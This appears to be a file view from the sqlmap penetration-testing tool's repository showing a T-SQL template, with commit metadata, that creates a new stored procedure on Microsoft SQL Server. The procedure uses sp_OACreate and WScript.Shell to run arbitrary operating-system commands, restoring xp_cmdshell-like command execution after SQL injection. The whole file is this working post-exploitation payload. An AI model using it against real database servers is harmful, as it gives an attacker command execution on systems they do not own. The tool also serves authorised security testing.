Files
sqlmap/procs/mssqlserver/create_new_xp_cmdshell.txt
Bernardo Damele fd4cfb0cc0 working on #51
2012-07-02 15:28:19 +01:00

9 lines
276 B
Plaintext

DECLARE @%RANDSTR% nvarchar(999);
set @%RANDSTR%='
CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int
EXEC sp_OACreate ''WScript.Shell'',@ID OUT
EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1
EXEC sp_OADestroy @ID';
EXEC master..sp_executesql @%RANDSTR%